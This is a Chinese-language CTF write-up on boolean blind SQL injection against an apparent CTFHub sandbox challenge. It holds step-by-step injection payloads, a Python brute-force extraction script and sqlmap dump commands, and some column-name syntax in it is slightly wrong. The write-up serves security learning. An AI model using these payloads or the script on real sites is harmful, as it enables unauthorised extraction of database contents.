目录
盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入。
布尔盲注:在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功
(即:返回查询语句的布尔值。)
布尔盲注的条件: ?id=1' and 1=1--+ 真页面true
?id=1' and 1=2--+ 假页面false
# substr(database(),1,1):表示从数据库的第1个字母开始,显示1个字母,从1开始计数
# limit 0,1:表示从第0行开始,显示1行,从0开始计数
一、手动注入
一般顺序:
爆数据库名长度
根据库名长度爆库名
爆数据表数量
爆数据表名长度
根据表名长度爆表名
根据flag表爆数据列数量
爆数据列名长度
根据列名长度爆列名
根据列名爆数据值
1. 爆数据库名长度
?id=1 and length(database())>=5
#返回假值
?id=1 and length(database())>=4
#返回真值
#库名长度为4
2. 根据库名长度爆库名
使用substrate()函数逐个猜数据库名
?id=1 and substr(database(),1,1)=‘a’
#query_error
#库名第一个字符不是a
...
?id=1 and substr(database(),1,1)=‘s’
#query_success
#库名第一个字符是s
?id=1 and substr(database(),2,1)=‘q’
#query_success
#库名第一个字符是q
?id=1 and substr(database(),3,1)=‘l’
#query_success
#库名第一个字符是l
?id=1 and substr(database(),4,1)=‘i’
#query_success
#库名第四个字符是i
#库名是sqli
3. 爆数据表数量
使用mysql的查询语句select COUNT(*)
。从1开始试错
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())>=2
#query_success
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())>=3
#query_error
#当前库sqli有2张表
4.爆数据表名长度
使用 limit 0,1(第一张表),limit 1,1(第二张表)... ...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)>=5
#query_error
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)>=4
#query_success
#当前库sqli的第一张表表名长度为4
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)>=4
#query_success
#当前库sqli的第二张表表名长度为4
5.根据表名长度爆表名
直接看数据表的最后一个字符,可快速确定“flag”中的“g”;若有其他情况则酌情往前爆字符。
(也可逐个)
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)=‘s’
#query_success
#当前库sqli的第一张表表名第四个字符是s
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’
#query_success
#当前库sqli的第二张表表名的第四个字符是g
#当前库sqli有两张表'news'和'flag'
6.根据flag表爆数据列数量
使用mysql的查询语句select COUNT(*)。
(已知第二个表为'flag',只对其进行分析)
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)>=2
#query_success
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)>=3
#query_error
#当前库sqli表flag的列数为2
7.爆数据列名长度
使用 limit 0,1(第一列),limit 1,1(第二列)... ...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=3
#query_error
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=2
#query_success
#当前库sqli表flag的第一列列名长度为2
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=4
#query_success
#当前库sqli表flag的第二列列名长度为4
8.根据列名长度爆列名
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
#query_success
#当前库sqli表flag的第一列列名第一个字符为i
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success
#当前库sqli表flag的第二列列名第四个字符为g
#当前库sqli表flag有两个列‘id’和‘flag’
9.根据列名爆数据值
(从第二列'flag')一个一个尝试特别麻烦
?id=1 and substr((select flag from sqli.flag),1,1)=“a”
#query_error
...
?id=1 and substr((select flag from sqli.flag),1,1)=“c”
#query_success
#flag的第一个字符是c
...
?id=1 and substr((select flag from sqli.flag),1,1)=“}”
#query_success
#flag的最后一个字符是}
于是本题可使用python脚本
#导入库
import requests
#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-9e60bb79512ae37b.sandbox.ctfhub.com:10080/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))
#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):
#初始化flag长度为1
j = 1
#j从1开始,无限循环flag长度
while True:
#flag中每一个字符的所有可能取值
for i in str_list:
new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))
r = requests.get(new_url)
#如果返回的页面有query_success,即盲猜成功,跳过余下的for循环
if success_mark in r.text:
#显示flag
print(chr(i),end="")
#flag的终止条件,即flag的尾端右花括号
if chr(i) == "}":
print()
return 1
break
#如果没有匹配成功,flag长度+1接着循环
j = j + 1
以上步骤均可使用python脚本注入,参考以下文章
二、使用python脚本注入
数据表名选择 flag
数据列名选择flag
得到flag
三、使用sqlmap工具
1.获取当前使用的数据库
sqlmap -u 'http://xx/?id=1 --current-db
2.获取指定数据库中的数据表
sqlmap -u 'http://xx/?id=1 -D 'sqli' --tables
3.获取指定数据表中的数据列
sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' --columns
4.获取指定数据列中的所有字段
sqlmap -u 'http://xx/?id=1' -D 'sqli' -T 'flag' -C 'flag' --dump
kali自带,输入sqlmap如下,说明可用
获取数据库(sqli)
sqlmap -u http://challenge-35168fddbe90a6a2.sandbox.ctfhub.com:10800/?id=1 --current-db
获取数据库sqli中的数据表(有flag,news两个)
sqlmap -u http://challenge-35168fddbe90a6a2.sandbox.ctfhub.com:10800/?id=1 -D 'sqli' table
获取数据表flag中的数据列(只有一个为flag)
sqlmap -u http://challenge-35168fddbe90a6a2.sandbox.ctfhub.com:10800/?id=1 -D 'sqli' -T 'flag' -columns
获取数据列flag中的所有字段
sqlmap -u http://challenge-35168fddbe90a6a2.sandbox.ctfhub.com:10800/?id=1 -D 'sqli' -T 'flag' -C 'flag' --dump